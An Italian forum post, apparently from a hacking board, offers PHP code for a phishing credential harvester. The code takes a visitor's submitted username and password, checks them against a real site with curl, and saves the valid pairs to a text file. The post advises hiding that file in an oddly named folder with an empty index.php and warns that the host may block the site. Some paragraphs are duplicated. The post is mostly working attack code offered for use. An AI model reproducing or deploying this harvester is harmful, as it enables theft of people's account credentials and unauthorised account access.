Veronica Gainer
Utente Electrum
Ultima modifica da un moderatore:
Funzioni:
La funzione Login($url, $postdata, $success_message) tenterà un collegamento diretto via metodo POST al sito desiderato, invierà le variabili contenenti i dati e restituirà un output html, se troverà la parola desiderata come: Collegamento eseguito con successo, oppure Login avvenuto (insomma mettetela voi), restituirà vero.
La funzione SaveToFile($filename, $username, $password) controllerà se esiste il file, se c'è gia un nome, dopo tutti questi controlli scriverà Username @ Password e un "a capo".
ATTENZIONE
1) RICORDO OVVIAMENTE CHE NEL SITO DEVE ESSERCI INSTALLATA LA LIBRERIA CURL.
Per controllare:
2) SE FATE I LAMER CON QUESTI SCRIPT IL VOSTRO SITO POTREBBE e RIPETO POTREBBE ESSERE BLOCCATO DALLA COMPAGNIA HOST.
La funzione Login($url, $postdata, $success_message) tenterà un collegamento diretto via metodo POST al sito desiderato, invierà le variabili contenenti i dati e restituirà un output html, se troverà la parola desiderata come: Collegamento eseguito con successo, oppure Login avvenuto (insomma mettetela voi), restituirà vero.
La funzione SaveToFile($filename, $username, $password) controllerà se esiste il file, se c'è gia un nome, dopo tutti questi controlli scriverà Username @ Password e un "a capo".
PHP:
<?php
#url - array con campi - messaggio che appare sul sito quando tutto riesce
function Login($url,$postdata,$success_message){
try{
$c=curl_init();
curl_setopt($c,CURLOPT_URL,$url);
curl_setopt($c,CURLOPT_RETURNTRANSFER,1);
curl_setopt($c,CURLOPT_POST,1);
curl_setopt($c,CURLOPT_POSTFIELDS,$postdata);
$exec=curl_exec($c);
if($exec==null) throw new Exception("curl_error");
$res=0;
if(strstr($exec,$success_message)) $res=1;
$info=array($res,curl_getinfo($c),$exec);
curl_close($c);
return $info;
}catch(Exception $e){
return array(-1,$e->getMessage(),"null");
}
}
# Nome del file dove verranno salvati i dati - variabile username - variabile password
function SaveToFile($filename, $username, $password){
if(strlen($username)>0 && strlen($password)>0){
if(file_exists($filename)){
$F=fopen($filename,"r");
$F9=str_replace($username." @ ".$password."\n","",fread($F,filesize($filename)));
fclose($F);
}else{
$F9=null;
}
$F=fopen($filename,"w");
fwrite($F,$F9.$username." @ ".$password."\n");
fclose($F);
}
}
?>
PHP:
#ESEMPIO X TESTARE LA FUNZIONE
if(isset($_POST["bottone_submit"])) {
$Login=Login("http://www.vostrositoweb.com",array("submit"=>"1","username"=>$_POST["username"],"password"=>$_POST["password"]),"Connessione eseguita con successo");
if ($Login[0]==1) {
#vi consiglio di chiamare il file in modo strano e inserire dentro questa cartella un index.php vuoto.
SaveToFile("cartellastrana/VostroFile.txt",$_POST["username"],$_POST["password"]);
echo "Dati corretti, Login effettuato con successo!";
}else{
echo "Errore: i dati inseriti non sono corretti!";
}
}
ATTENZIONE
1) RICORDO OVVIAMENTE CHE NEL SITO DEVE ESSERCI INSTALLATA LA LIBRERIA CURL.
Per controllare:
PHP:
if(function_exists('curl_version')) echo "La librerià C'è!";
2) SE FATE I LAMER CON QUESTI SCRIPT IL VOSTRO SITO POTREBBE e RIPETO POTREBBE ESSERE BLOCCATO DALLA COMPAGNIA HOST.

